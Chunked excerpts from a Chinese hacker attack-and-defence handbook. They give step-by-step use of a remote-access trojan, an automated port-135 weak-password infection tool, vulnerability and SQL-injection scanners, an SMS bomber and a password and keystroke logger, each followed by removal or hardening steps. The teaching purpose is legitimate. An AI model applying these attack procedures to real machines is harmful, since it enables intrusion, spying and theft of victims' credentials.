    {"text": "我们可以对Http请求使用Cookie和Session认证来判断是否是CC的请求页面，以此来防止多代理的访问请求，防止CC通过代理攻击。 1.使用Cookie认证 由于“CC攻击小助手”也允许Cookie，这里所指的Cookie是所有连接都使用的，所以启用IP加Cookie认证就可以了。 2.利用Session认证 这个判断比Cookie认证更加方便，不仅可以进行IP认证，还可以防刷新。"},
    {"text": "<% if session(\"refresh\")<> 1 then '判断“刷新”的session 是否等于1 Session(\"refresh\")=session(\"refresh\")+1 '自增1 操作 Response.redirect \"index.asp\" '链接至首页 End if %> 使用此代码时，用户第一次访问会使得Refresh=1，第二次访问正常，第三次将不允许访问了，因为此脚本认为是刷新操作。"},
    {"text": "如果读者感兴趣，可以自行加入一个时间参数，来控制多长时间后才允许访问，这样就限制了耗时间的页面的访问，对正常用户访问几乎没有任何影响。"},
    {"text": "Cover 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 第9章 黑客常用工具揭秘及防范（一） 本章将通过剖析常见攻击工具的原理，并给出防范，以及清除方法。用户也许有过中木马或者病毒的经历，在潜意识中认为这些程序或工具的制造者都很神秘，他们利用这些工具可以获得计算机中的许多信息，而用户却全然不知。本章从实际案例出发，介绍黑客常用的木马工具，揭开他们使用这些工具控制远程计算机为他们服务，甚至通过木马窃取对方的文件以及密码信息，对任意的计算机或者服务器进行攻击的面纱。通过了解有关黑客控制和攻击计算机的知识，将有助于用户更好地防范黑客攻击。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 第8章 局域网和QQ攻击剖析及防范 如果有一天，一个未曾谋面的陌生人在QQ上告诉您说：“您的计算机的密码是：×××，您的QQ密码是：×××，您的×××文件……”您一定会在气愤的同时感到非常惊讶，并且非常佩服对方非同寻常的能力。可是您的密码未曾告诉过任何人，也没有把文件给任何人看过，为什么对方就可以掌握您计算机中的隐私资料呢？为了揭开谜底，我们设计了本章的内容。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 9.3 “灰鸽子木马”的剖析及防范 9.3.1 “灰鸽子木马”简介 “灰鸽子木马”是国内一款著名远程控制软件。"},
    {"text": "比起前辈冰河、黑洞等远程控制软件来说，“灰鸽子”可以说是国内远程控制软件的集成者。 当在合法情况下使用时，灰鸽子是一款优秀的远程控制软件。"},
    {"text": "可配置的信息主要包括上线类型（如反弹连接还是主动连接）、主动连接时使用的公网IP（域名）、连接密码、端口、启动项名称、服务名称、进程隐藏方式、使用的壳、代理、图标，等等。"},
    {"text": "服务端对客户端连接方式有多种，使得处于各种网络环境的计算机用户都可能被黑客所控制，包括局域网用户（通过代理上网）、公网用户和ADSL拨号用户等，其主要功能如下。"},
    {"text": "● 文件管理：管理远程计算机的文件系统，支持复制、粘贴、删除，断点下载、上传文件或文件夹，文件内容均以加密方式传输，确保通信的安全性。 ● 远程控制命令：包括远程系统信息、剪切板信息、进程管理、窗口管理、键盘记录、服务管理、管理管理、MS-DOS模拟、代理服务控制。"},
    {"text": "● 除了具有语音监听、语音发送，还有远程视频监控功能，只有远程计算机有摄像头，且正常打开没有被占用。 可以看到远程摄像头捕获的图片，还可以把远程摄像头捕获的画面存为Mpeg-1格式。"},
    {"text": "首先双击打开“灰鸽子”客户端，如图9-45所示，其主界面如图9-46所示。 图9-45 灰鸽子客户端主程序 图9-46 灰鸽子客户端主界面 ● 步骤2。"},
    {"text": "图9-47 服务端配置（1） 图9-48 服务端配置（2） ● 步骤4。 设置完成之后，单击“生成服务端”按钮，生成服务端程序到指定目录，如图9-49和图9-50所示。 图9-49 选择生成路径 图9-50 木马服务端程序 ● 步骤5。"},
    {"text": "为了使中了灰鸽子木马的计算机能连接到本地计算机，还需要使用自动上线功能，单击“自动上线”按钮，打开“自动上线”对话框，如图9-51所示。"},
    {"text": "通过上述步骤的操作，已经做好了“前期”的准备，下面将继续介绍对远程计算机硬盘的控制、远程Telnet功能、屏幕捕获、窥探系统信息以及注册表的监控功能等。"},
    {"text": "点选任意一台目标计算机，在界面的右下方就可以浏览相应计算机的硬盘信息了。 在相应的文件夹上双击鼠标，即可进入相应的文件夹，如图9-54所示。"},
    {"text": "在文件夹上单击鼠标右键，即可对相应的文件夹进行操作，如复制、删除、新建文件夹等，如图9-55所示。 图9-55 操作文件夹 ● 步骤4。 在相应的文件上单击鼠标右键，即可对相应的文件进行操作，如远程打开、复制、删除等操作，如图9-56和图9-57所示。 图9-56 远程打开文件 图9-57 远程删除文件 3.远程Telnet功能 单击客户端面板上的“Telnet”按钮，就可以打开对方机器的Telnet程序，它可以理解为远程计算机上的CMD Shell，可以执行系统命令，与在本地使用命令提示符窗口一样方便，如图9-58所示。 4.捕获屏幕功能 单击客户端面板上的“捕获屏幕”按钮，对方计算机的屏幕信息就会自动被抓取，对方在计算机中的每一个操作，黑客都看得一清二楚，如图9-59所示。"},
    {"text": "由于“灰鸽子”采用屏幕切割技术，只将对方计算机屏幕变换的一部分数据传输到本地，所以不会占用太多的资源，画面依然会很流畅地显示出来。 图9-58 远程Telnet功能 图9-59 捕获屏幕功能 当中了“灰鸽子”木马之后，对方计算机就没有一点隐私可言了。"},
    {"text": "5.窥探系统信息功能 单击“远程控制命令”选项卡，黑客可以很清楚地查看对方计算机的内部配置信息、进程、系统服务信息，如图9-60和图9-61所示。 6.对注册表的操作功能 俗话说注册表就是计算机的命脉，黑客使用“灰鸽子”一样可以很简单地控制对方计算机的注册表信息。"},
    {"text": "图9-60 内部配置信息 图9-61 系统服务信息 图9-62 对注册表的操作功能 7.批量控制功能 “灰鸽子”也可以对计算机进行批量控制，单击“命令广播”选项卡，选中准备发送命令的远程计算机，如“关闭计算机”、“重新启动”等命令；"},
    {"text": "通过监控发现，此版本的“灰鸽子”运行之后木马将自身删除，复制自身至系统目录下的Windows文件夹中，并释放出两个“DLL”文件到Windows文件夹下。 通过前面的介绍，可以知道由于此款木马的“特殊”性，所以需要进入安全模式下进行查杀。"},
    {"text": "进入安全模式的方法是：启动计算机，在系统进入Windows启动画面前，按下“F8”键，如图9-65 所示，在如图出现的启动选项菜单中，选择“Safe Mode”或“安全模式”即可进入安全模式，图9-66所示。"},
    {"text": "图9-64 灰鸽子木马程序 图9-65 进入安全模式（1） 图9-66 进入安全模式（2） 使用在“上兴网络僵尸”中所介绍的方法，去除系统的隐藏属性。"},
    {"text": "即打开“我的电脑”，选择菜单“工具”→“文件夹选项”，进入“查看”选项卡，取消“隐藏受保护的操作系统文件”项前的对钩，并在“隐藏文件和文件夹”项中选择“显示所有文件和文件夹”，然后单击“确定”按钮即可。"},
    {"text": "然后单击“开始”→“运行”，输入“Regedit.exe”打开注册表编辑器，定位到：“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services”处，删除灰鸽子相关服务键值即可清除其服务。 图9-67 灰鸽子木马的服务 并且在“注册表编辑器”中定位到：“HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run”处，删除灰鸽子的实现自启动的相关键值。"},
    {"text": "前面提到“灰鸽子”木马的文件名是可以自定义的，但是通过仔细观察可以发现，对于灰鸽子的检测仍然是有规律可循的，即：无论自定义的服务器端文件名是什么，一般都会在操作系统的安装目录下生成一个以“_hook.dll”结尾的文件，这使得可以以手工检测方式较准确地检测出灰鸽子的服务端了。 进入系统文件夹下的Windows目录，直接删除灰鸽子宿主程序以及以“_hook.dll”结尾的“DLL”文件即可将其清除。"},
    {"text": "由于木马程序为了躲避杀毒软件以及各方安全工具的查杀，黑客往往都会对其进行“免杀”处理，即产生新的变种，对于新变种的“灰鸽子”木马的防御及清除，需要用户在生活中多积累经验来对抗其“变种”所带来的危害。 2.预防演示方法二 “金山杀毒软件”曾发表郑重声明，严厉指责目前日益猖獗的网络制作、贩卖木马病毒的行为，并将灰鸽子列为首要打击目标。 笔者认为对于“灰鸽子”木马使用专杀工具是比较直接也是比较有效的。"},
    {"text": "单击图9-69所示界面中的“开始扫描”按钮即可开始对系统进行查杀。 用此专杀工具将可发现并清除系统中所驻留的灰鸽子木马，如图9-70所示。 图9-69 灰鸽子专杀工具主界面 图9-70 清除灰鸽子木马 下面将介绍Bifrost木马的攻防知识，与灰鸽子木马相比，它有体积小巧的优势。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 9.6 “蜜蜂自动抓鸡器”的剖析及防范 9.6.1 “蜜蜂自动抓鸡器”简介 在介绍“蜜蜂自动抓鸡器”之前先来简单介绍一下“蜜蜂自动抓鸡器”的工作原理。 “蜜蜂自动抓鸡器”是通过135号端口进行入侵并自动“抓鸡”的，而135号端口的肉鸡是利用对方开放的135号端口，并获得管理员的用户名和密码，通过WMI服务，可在“肉鸡”上执行任意命令，所以135端口入侵也就是WMI攻击。"},
    {"text": "135端口主要用于使用RPC（Remote Procedure Call，远程过程调用）协议并提供DCOM（分布式组件对象模型）的服务，通过RPC可以确保在一台计算机上运行的程序能顺利地执行远程计算机上的代码；"},
    {"text": "综上所述，对方受到攻击的条件必须满足开放135 号端口、开启“Windows ManagementInstrumentation”服务（WMI服务）、获取管理员的用户名和密码、关闭本地机器上的防火墙。"},
    {"text": "9.6.2 “蜜蜂自动抓鸡器”的剖析 ● 步骤1。 双击运行“蜜蜂自动抓鸡器”主程序，如图9-118所示，其主界面如图9-119所示。 图9-118 蜜蜂自动抓鸡器主程序 图9-119 蜜蜂自动抓鸡器主界面 ● 步骤2。"},
    {"text": "单击“穿墙”前的复选框，进行“穿墙”操作，如图9-121所示。 图9-120 填写IP段 图9-121 穿墙操作 ● 步骤4。 在图9-121所示的界面中显示“穿墙突破成功”之后，继续点选“WINXP下扫鸡”按钮（根据自己的操作系统而定），这时程序会自动调用“S 扫描器”进行端口扫描，并且把开放了135端口的远程计算机的IP地址保存在指定目录，如图9-122所示。"},
    {"text": "接下来单击“肉鸡整理”按钮，程序会自动整理IP列表中开放了135端口的计算机，并将其IP地址列表保存在程序目录下的IP.txt中，如图9-123所示。"},
    {"text": "使用本章前几节介绍的木马配置及使用方法，配置出木马服务端程序“boot.exe”并放在本程序目录下，如图9-124所示。 图9-124 木马文件 ● 步骤7。"},
    {"text": "切换回“蜜蜂自动抓鸡器”界面，单击“开始抓鸡”按钮，程序将开始自动对开放 135端口的计算机发起进攻，当发现有弱口令的计算机，就会自动建立连接，并且植入先前所配置的木马“boot.exe”文件并且远程执行，如图9-125所示。 图9-125 正在“抓鸡” 9.6.3 “蜜蜂自动抓鸡器”的防范 通过前面的介绍，很容易发现，防御类似攻击的方法就是使上述的“3 个条件”之一不成立即可。"},
    {"text": "依次单击“开始”→“设置”→“控制面板”→“管理工具”，如图9-126所示，双击打开“本地安全策略”，如图9-127所示。 图9-126 管理工具界面 图9-127 本地安全策略界面 ● 步骤2。 在图9-127所示的界面中，选中“IP安全策略”，在右边窗格的空白位置右击鼠标，弹出快捷菜单，选择“创建IP安全策略”，如图9-128所示。 图9-128 创建 IP 安全策略 在弹出的“IP安全策略向导”对话框中单击“下一步”按钮，如图9-129所示，为新的安全策略命名，如图9-130所示。 继续单击“下一步”按钮，则显示“安全通信请求”界面，取消“激活默认响应规则”左边复选框中的对钩，如图9-131所示； 单击“完成”按钮，成功创建了一个新的IP 安全策略，如图9-132 所示。"},
    {"text": "在步骤2中添加的IP安全策略上右击鼠标，如图9-133所示，在“属性”对话框中，去除“使用添加向导”复选框左边的对钩，如图9-134所示。 单击“添加”按钮添加新的规则，随后弹出“新规则属性”对话框，如图9-135所示，在“新规则属性”对话框中单击“添加”按钮，弹出“IP筛选器列表”窗口，如图9-136所示； 在“IP筛选器列表”中，首先去除“使用添加向导”复选框左边的对钩。 图9-131 向导（3） 图9-132 向导（4） 图9-133 选择“属性”选项 图9-134 “属性”对话框 图9-135 “新规则属性”对话框 图9-136 IP筛选器 ● 步骤4。 单击右边的“添加”按钮，弹出“筛选器属性”对话框用于添加新的筛选器，如图9-137所示。 进入“筛选器属性”对话框，源地址选择“任何 IP地址”，目标地址选择“我的IP地址”，如图9-138所示。 图9-137 筛选器属性（1） 图9-138 筛选器属性（2） 切换到“协议”选项卡，如图9-139所示，在“选择协议类型”下拉列表中选择“TCP”，然后在“到此端口”下的文本框中输入“135”，如图9-140所示，单击“确定”按钮完成。 图9-139 协议选项卡（1） 图9-140 协议选项卡（2） 这样就添加了一个屏蔽 TCP 135（RPC）端口的筛选器，它可以防止外界通过135 端口连接本地计算机。"},
    {"text": "单击进入“筛选器操作”选项卡中，把“使用添加向导”左边的对钩去掉，如图9-142所示。 图9-141 “新规则属性”对话框（1） 图9-142 “新规则属性”对话框（2） 在图9-142所示的界面中单击“添加”按钮，在“新筛选器操作属性”对话框的“安全措施”选项卡中选择“阻止”，然后单击“确定”按钮，如图9-143所示。"},
    {"text": "进入“新规则属性”对话框中，选择“新筛选器操作”左边的单选框，表示已经激活，然后单击“关闭”按钮关闭对话框，最后在“新的IP筛选器列表”左边打对钩，如图9-144所示，单击“确定”按钮关闭对话框。 图9-143 “新筛选器操作属性”对话框 图9-144 选择项目 在“本地安全策”窗口中用鼠标右击新添加的 IP 安全策略项，然后选择“指派”，如图9-145所示，重新启动计算机后，被添加端口将被关闭。 图9-145 指派策略 最后使用同样的方法关闭TCP的“135”、“139”、“445”端口，为它们建立相应的筛选器即可。"},
    {"text": "上面已提到，“蜜蜂自动抓鸡器”是通过弱口令传播，笔者发现，目前很多个人计算机仍然在使用弱口令甚至是空口令，所以修改计算机管理员的登录口令也是一种防范此类程序有效的方法。"},
    {"text": "依次单击“开始”菜单→“运行”，输入“CMD”进入命令提示符模式，执行命令“net user administrator text”即可将管理员密码修改为“text”（在实际操作中应该将密码设置的更复杂一些），如图9-146所示。"},
    {"text": "右键单击“我的电脑”→“管理”，进入“计算机管理”界面，如图9-147所示，在左侧依次选择“本地用户和组”→“用户”，如图9-148所示。 图9-147 “计算机管理”界面 图9-148 用户管理 右键单击管理员账户，选择“设置密码”，如图9-149所示，弹出对话框如图9-150所示，单击“继续”按钮，继续操作。 图9-149 修改密码（1） 图9-150 修改密码（2） 在弹出的“设置密码”对话框中填入密码后单击“确定”即可完成操作，如图9-151和图9-152所示。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 7.3 超级嗅探狗——强大的监控工具 7.3.1 超级嗅探狗简介 “超级嗅探狗”是被许多大公司使用的监控软件，可以通过嗅探的方法得到员工的计算机使用网络的情况，简洁明了。 首先需要在下载“超级嗅探狗”软件安装包，然后按照提示进行安装即可。 安装“超级嗅探狗”之前首先需要注意以下几点，否则将会导致“超级嗅探狗”安装或者使用冲突或者不成功。"},
    {"text": "图7-54 超级嗅探狗主安装程序 图7-55 安装过程（1） 图7-56 安装过程（2） 图7-57 安装过程（3） 注意：文件版本和数据库版本有什么区别？"},
    {"text": "图7-58 安装过程（4） 图7-59 选择安装路径 图7-60 安装过程（5） 图7-61 正在安装 图7-62 完成安装 注意：上述6步为“超级嗅探狗”的单机安装方法，它在不同的网络环境中有不同的设置方法。"},
    {"text": "对于小型网络环境（500台机器以下），只要在一台计算机上安装“超级嗅探狗”就可以进行全网监控。 “超级嗅探狗”需要安装在一台Windows系统的计算机上，但是被监控的计算机也可以是其他的任何系统。"},
    {"text": "图7-63 小型网络拓扑图 图7-64 大型网络拓扑图 7.3.2 超级嗅探狗的原理和防御 按照上述步骤，“超级嗅探狗”已经成功地安装到用户计算机中了，其具体使用方法如下。"},
    {"text": "首先运行“超级嗅探狗”的快捷方式如图7-65所示，首次运行主界面如图7-66所示。 图7-65 超级嗅探狗主程序 图7-66 首次运行主程序界面 注意：“超级嗅探狗”是基于本地Web的应用程序，和普通的EXE应用程序不同，它是需要在浏览器中进行工作的，可以从属性中看出，如图7-67所示。 运行“超级嗅探狗”也可以在IE浏览器中输入地址：http://localhost:9090直接运行。"},
    {"text": "单击图7-66中的“单击打开登录界面”按钮，打开如图7-68所示的登录界面，输入默认的账号和密码（默认账号是：admin，密码：123456），单击“刷新”按钮，即可列出在线的局域网用户，如图7-69所示。"},
    {"text": "在公司内部，分有不同的部门，有一些部门是需要上网工作的，而有一些部门是不需要上网工作的，如果为了防止不需要上网的部门员工在上班时间使用网络并做一些和工作不相干的事情，我们可以为他们分配明细的权限。"},
    {"text": "在左边配置项下面有一项“员工电脑名列表”，我们可以对局域网内的不同用户配置不同的上网权限，在后面的下拉菜单中选择权限，如图7-72 所示。 “记录上网内容”级别的设置在左侧的“内容记录级别设置”中，一共有 3 个级别，分别是“高”、“中”、“低”，我们可以分别编辑这3个级别中的任意一个级别，也可以手动添加一个级别来适应更多的公司部门。"},
    {"text": "“封堵策略”中的封堵级别设置是在左侧的“内容记录级别设置”中进行设置的，打开之后，同样有3个级别划分，我们可以进行相应的等级设置或者手动添加策略级别。"},
    {"text": "通过此处的设置，可以在规定的时间段内无法使用受到限制的工具和内容（比如限制浏览网页、限制使用MSN、QQ等），如图7-75和图7-76所示。"},
    {"text": "如果局域网中有人使用PPLIVE或者BT下载，占用大量的带宽，这时就可以开启报警功能，可以把一些使用带宽资源比较多的软件加到“敏感软件”的行列，一旦局域网中有人使用“敏感软件”，软件就会自动报警。 打开左侧“配置”中的“报警配置”项，单击“违规软件配置”加入违规软件，如图7-77所示。 图7-77 违规软件配置界面 “超级嗅探狗”支持 E-mail 报警功能，打开“报警邮箱配置”选项进行配置报警信息发往的E-mail地址信息，如图7-78所示。"},
    {"text": "通常，安装此软件的计算机通过对网络底层的嗅探，可以准确地记录局域网内用户计算机的使用情况，在必要的时候可以进行限制或者报警，软件功能强大，请用户慎用。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 夏添 李绍文 编著 人民邮电出版社 北京 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 3.5 黑吧专用S扫描器——界面漂亮方便的扫描器 黑吧专用S扫描器是由网名为“%systemroot%”的网友所写，程序采用E语言编写，避免了命令行使用的不便，可在黑客网站自由下载。这款扫描器应用于Windows 2000/XP/2003等操作系统，可对一段范围内的IP地址针对某个端口进行扫描，扫描器界面漂亮，添加了一些较为实用的功能。 运行程序弹出如图3-25所示的主界面对话框。 图3-25 黑吧专用扫描器主界面 程序启动时，自动检测是否存在历史扫描结果，如果存在，则提示用户是否自动载入或删除。 1.扫描设置 如图3-25所示，在开始IP和结束IP栏中填入相应的IP地址，在端口号编辑框中填入待扫描的端口，在线程数编辑框中填入欲启用的线程数，单击“TCP扫描”按钮或“SYN扫描”按钮即可启动相应的扫描方式开始扫描。 软件扫描速度很快，且是针对某个端口扫描，可对较大范围的IP地址进行探测，这种形式在出现某个具体漏洞或针对某种服务进行探测时相当有效。例如，想探测网络中的135端口，以便进行弱口令扫描，可首先用这款软件对大范围IP地址的135端口进行扫描，将结果整理后提交给其他的弱口令探测软件。 扫描完成后，扫描器自动导入扫描结果，自动整理IP地址，对重复地址进行过滤，并且可以自动监测网络上下行速度，非常方便。 扫描时程序会在当前目录下生成一名为s.exe的可执行程序，s.exe文件属性为隐藏，当扫描结束时，s.exe自动被删除。由此我们可以看出，黑吧专用S扫描器实际是调用S扫描器，只在界面上进行了设置而已。 2.作者整合的工具 为方便用户使用，作者在图 3-26 所示黑吧专用 S 扫描器字样的右上角，添加了一形如“>>”的按钮，单击这个按钮，可出现如图3-26所示界面。 图3-26 作者整合的常用工具界面 在图3-26所示的界面中，用户除可方便地使用命令行、记事本、计算器等常用工具外，还可以将扫描器设置为“总在最前”；可对“我的电脑”进行管理，扫描器将计算机“控制面板”中的“管理工具”在这里添加了快捷方式，可以方便地进行设置。 笔者以512个线程对某B类网络135端口进行扫描，在6min之内扫描结束，结果准确，速度令人满意。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 第6章 嗅探技术和工具 本章主要介绍嗅探技术以及嗅探/反嗅探工具的使用，读者可以学到扫描与嗅探的基本知识以及原理。由于现在的大部分网络都是交换式网络，本章将会专门介绍基于交换网络的嗅探技术。如果害怕别人嗅探您的账号，反嗅探技术可以帮助您避免类似的攻击。本章将详细介绍在黑客的入侵中起到举足轻重作用的大型嗅探软件及其使用方法。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 第10章 黑客常用工具揭秘及防范（二） 本章将继续前一章“攻击工具”的主题，为读者剖析在黑客攻击中另一种类型的“攻击工具”的使用方法，这些工具是傻瓜化的，方便简洁。本章将有针对性地介绍Web入侵工具：Domain、啊D注入工具，作为网络安全人员，对这些工具是耳熟能详的。通过本章的学习，从应用的角度介绍黑客是如何入侵Web服务器的、网站的首页是如何被植入木马程序的，从而为更好地防范黑客提供有利的条件。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 5.6 微软操作系统漏洞扫描器 MS05051 漏洞是 2005 年微软操作系统暴露出的一个允许远程执行代码的漏洞，微软补丁编号为 KB902400。受影响的操作系统包括 Windows 2000 SP4、Windows XP SP1、Windows XP SP2、Windows SERVER 2003和Windows SERVER 2003 SP1。可以说这个漏洞影响广泛，对于Windows 2000 SP4、Windows XP SP1 系统，漏洞如果成功利用，可以达到直接溢出完全控制主机的目的，而对其他系统也可以进行提权等操作。 针对MS05051漏洞，Internet中发布了各种版本的扫描和溢出工具，笔者选择对Foundstone发布的 MS05051 漏洞扫描器进行介绍。MS05051 漏洞扫描器下载地址为 http://www.foundstone.com/us/resources/proddesc/MS05051Scan.htm。下载后扫描工具为ZIP压缩包形式，扫描程序为一个可执行程序，名称为MS05-051Scan 1.0。另外，还有一份说明文件。扫描器无需安装，解压缩后即可直接运行。 MS05-051Scan 1.0 可对存在MS05051漏洞的Windows 2000 SP4 主机进行扫描，运行后弹出如图5-13所示界面。 如图5-13所示，Foundstone发布的这款扫描器使用非常方便。 图5-13 MS05-051Scan 1.0 主界面 在设置上，Foundstone可分为两步。 （1）对待扫描IP地址的设置。 Foundstone可对单个IP地址、IP地址段、IP地址列表进行扫描。在“Hostname/IP”或“Start IP”和“End IP”编辑框中输入相应的IP 地址，单击右边的“→”按钮即可将IP 地址增加到右边的IP地址列表。 （2）对扫描控制内容的设置。 除扫描目标外，扫描器还有其他几项设置内容，可对是否将IP地址解析为主机名进行选择、对是否只显示存在漏洞的主机进行设置、对是否以随机顺序扫描进行设置。作为安全公司发布的扫描器，MS05-051Scan 1.0还有一项令人叫绝的设置选项：对是否向有漏洞的主机发送信息进行选择，而且待发送的信息可以自由编辑。可以想象，当存在漏洞的主机用户在使用计算机时，突然弹出主机有漏洞的信息，其震惊足以令人捧腹。 需要说明的是，这款扫描器在Windows XP SP2 下，每次只可以10 个线程进行扫描，而在其他系统下，扫描线程可以达到64个。 以对某C类IP地址段进行扫描为例，结果如图5-14所示。 图5-14 扫描结果示例 如图5-14所示，因当前Windows系统都能自动更新，被扫描的该C类网段没有存在漏洞的主机。 微软公司近些年来，每年都会公布针对操作系统的远程溢出漏洞，如2004年的MS04011， 2005年的MS05039、MS05051，2006年的MS06040，2007年的MS07029等。对这些漏洞，一般是先用漏洞扫描器进行大范围扫描，或者先用端口扫描器进行针对性端口扫描，再对扫描出开放特定端口的IP地址用漏洞扫描器探测，最后对扫描出漏洞的主机用溢出工具直接溢出。如果在漏洞被公布的几天内，利用及时，可以获得大量“肉鸡”。 利用微软发布的漏洞进行突破，不失为获得“肉鸡”的一种较好方法。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 5.9 数据库注入整站扫描工具 数据库注入是利用程序漏洞进行攻击的方法，导致注入的漏洞并非由系统造成，而是因为程序员在编程过程中忽略了安全因素所致。主要原理是程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。 与其他入侵手段相比，数据库注入是由正常HTTP端口访问，防火墙一般不会对注入进行报警，属于一种较难防范的攻击方式。数据库注入原理虽然简单，但要对某个大站是否存在注入漏洞进行检测，则较为烦琐。这里介绍一款对整站进行扫描的工具：JAASCOISAWI。 JAASCOISAWI为阿拉伯的黑客所写的数据库注入脚本扫描软件，软件全名为JAAScois AntiWebInjection，国内由“小 Ring”网友汉化的版本 1.0.0.1 在 Internet 中流传较广。运行JAASCOISAWI，弹出如图5-22所示的主界面。 在图5-22所示界面中，在“扫描”按钮前面的编辑框中，输入待扫描的网址，单击“扫描”按钮，即可开始扫描，并等待结果。如果网站目录设置较为独特，可以手工打开网站，观察后，单击“设置”菜单，选择根目录进行设置，以提高准确率。 开始扫描后，扫描器在当前目录下随机生成一名为 XXX.dat 的文件，用来存储扫描结果。这款脚本注射扫描器使用方便、简单，最适合初学者使用。 以对某域名进行扫描为例，一般出现的漏洞如图5-23所示。 图5-22 JAASCOISAWI 主界面 图5-23 扫描结果示例 由图5-23可知，JAAScois除可扫描脚本注入漏洞外，还可对跨站漏洞进行扫描，在图 5-23 所示网站中，存在大量脚本跨站漏洞。笔者曾经对国内多个网站（注：已得到站长允许）进行扫描，多数存在注入漏洞或跨站漏洞。 如果结合这款注入漏洞扫描工具进行注入攻击，则注入的成功率将大大提高，堪称是一款不可或缺的注入漏洞扫描精品。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 10.5 手机炸弹的剖析及防范 10.5.1 手机炸弹简介 “手机炸弹”功能比较简单，其目的就是使用垃圾短信的形式攻击对方的手机，这是使用计算机对移动通信设备进行攻击的一种很好的选择。 10.5.2 手机炸弹的剖析 ● 步骤1。 直接双击运行“手机炸弹”工具，如图10-64所示。 ● 步骤2。 只需在“Setting”中填写对方的手机号码，然后单击“Send”按钮，即可发动对目标手机的攻击，而目标手机正常的通信会被黑客发送的垃圾短信所淹没。 关于此攻击工具的原理以及防范方式，在10.6节中将有详细介绍。 图10-64 手机炸弹软件界面"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 10.4 邮箱密码记录者的剖析及防范 10.4.1 邮箱密码记录者简介 “邮箱密码记录者”是一款集多种功能于一身的软件，其功能不仅限于对邮箱密码的记录，还包括“网页密码的抓取”、“上网记录”、“文件监控”、“键盘监控”、“屏幕监控”等，是黑客记录本地计算机的使用情况时不可多得的一款攻击工具。"},
    {"text": "● 键盘监控：记录中英文键盘按键，逼真记录键盘输入的所有按键，采用特殊的记录方法，甚至用软键盘输入的也可记录。 ● 上网记录监控：记录所有浏览过的网页标题及网址、访问时间，方便您监督自己的计算机使用情况。 ● 网页及邮箱密码监控获取：记录所有网页中输入的用户名、密码（使用了密码输入安全控件的网页无法得到），VIP邮箱也可以获取。 ● 文件操作监控：记录文件及文件夹的创建、删除、重命名、共享、网络连接变化、U盘的插入/移除等操作。 ● 屏幕监控：每隔一定时间对当前屏幕进行抓取，并保存为JPG 图片。 ● 远程监控功能：自动将以上监控记录发送到网站空间存放，可随时异地收取。"},
    {"text": "10.4.2 邮箱密码记录者的剖析 在使用“箱密码记录者”时，首先需要用户对其进行设置，具体步骤如下。 1.配置邮箱密码记录者 ● 步骤1。 双击运行“邮箱密码记录者”主程序，如图10-41所示，其主截面如图10-42所示。 图10-41 “邮箱密码记录者”主程序 图10-42 “邮箱密码记录者”主界面 ● 步骤2。"},
    {"text": "“监控设置”是按照事先的设置，来实现一系列的监控功能的。 其中包括“网页密码监控”、“上网记录监控”、“屏幕监控”等内容，根据需要在相应的选项前的复选框中打钩，如图10-44所示。"},
    {"text": "2.使用邮箱密码记录者 经过上述6个步骤，“邮箱密码记录者”已经配置完成，下面将介绍其具体的监控功能，其中包括网页密码的监控、上网记录监控、文件监控、键盘记录、屏幕监控、文件导出等功能，具体使用方法如下。"},
    {"text": "如果在前面的“设置”操作中启动了网页密码监控功能，程序会在后台记录用户上网时输入的密码信息，把捕获的时间、账号以及密码信息列举在上方的条目中，如图 10-48所示。 图10-47 信箱登录成功 图10-48 捕获账户信息 （2）上网记录监控功能。"},
    {"text": "图10-50 上网记录界面（2） （3）文件监控功能。 “文件监控”功能可以记录本地计算机所使用过的软件信息，并记录在案，如图 10-51所示。 图10-51 文件监控界面 （4）键盘记录功能。"},
    {"text": "切换至“屏幕监控”选项卡，在其界面右下方单击图片的名称，“邮箱密码记录者”会自动把相应编号的屏幕的截图展现出来。 “邮箱密码记录者”是按照前面事先设定好的时间间隔进行捕获屏幕截图的，如图10-54所示（图中画圈）。"},
    {"text": "10.4.3 邮箱密码记录者的防范 1.针对邮箱密码记录者的防范 针对邮箱密码记录者的最有效的防范方法是，检查当前系统中是否运行有“邮箱密码记录者”。"},
    {"text": "由于“邮箱密码记录者”没有用到进程隐藏以及其他隐藏方式，所以直接打开进程管理器查看即可，如图 10-57 所示。 找到名为“mailsee.exe”的进程，单击鼠标右键选择“结束进程”即可，如图10-58所示。"},
    {"text": "找到“邮箱密码记录者”的条目，并单击“360安全卫士”界面右下方的“禁用选中项”按钮，即可将“邮箱密码记录者”的开机自启动项从系统中清除。"},
    {"text": "图10-59 清除启动项 2.针对网页密码的安全防范 在网络发展的今天，在网络中可以完成许多事情，为我们的生活带来了不少的方便，比如网上交易等。"},
    {"text": "打开“360保险箱”，并切换至“帐号保护”选项卡，其主界面如图10-60所示，单击“网络银行”图标，如图10-61所示。 图10-60 360 保险箱 图10-61 选择“网络银行”项 ● 步骤2。 找到相应的银行，并选择条目下方下拉列表右侧的箭头，如图10-62所示，并单击“安全启动”，此时“360保险箱”将自动扫描系统，如图10-63所示，数秒钟后即可开启对此网络银行的保护。 图10-62 选择网络银行 图10-63 扫描系统 知识拓展：对于类似网页密码的防范还有如下技巧可以帮助提高安全性。"},
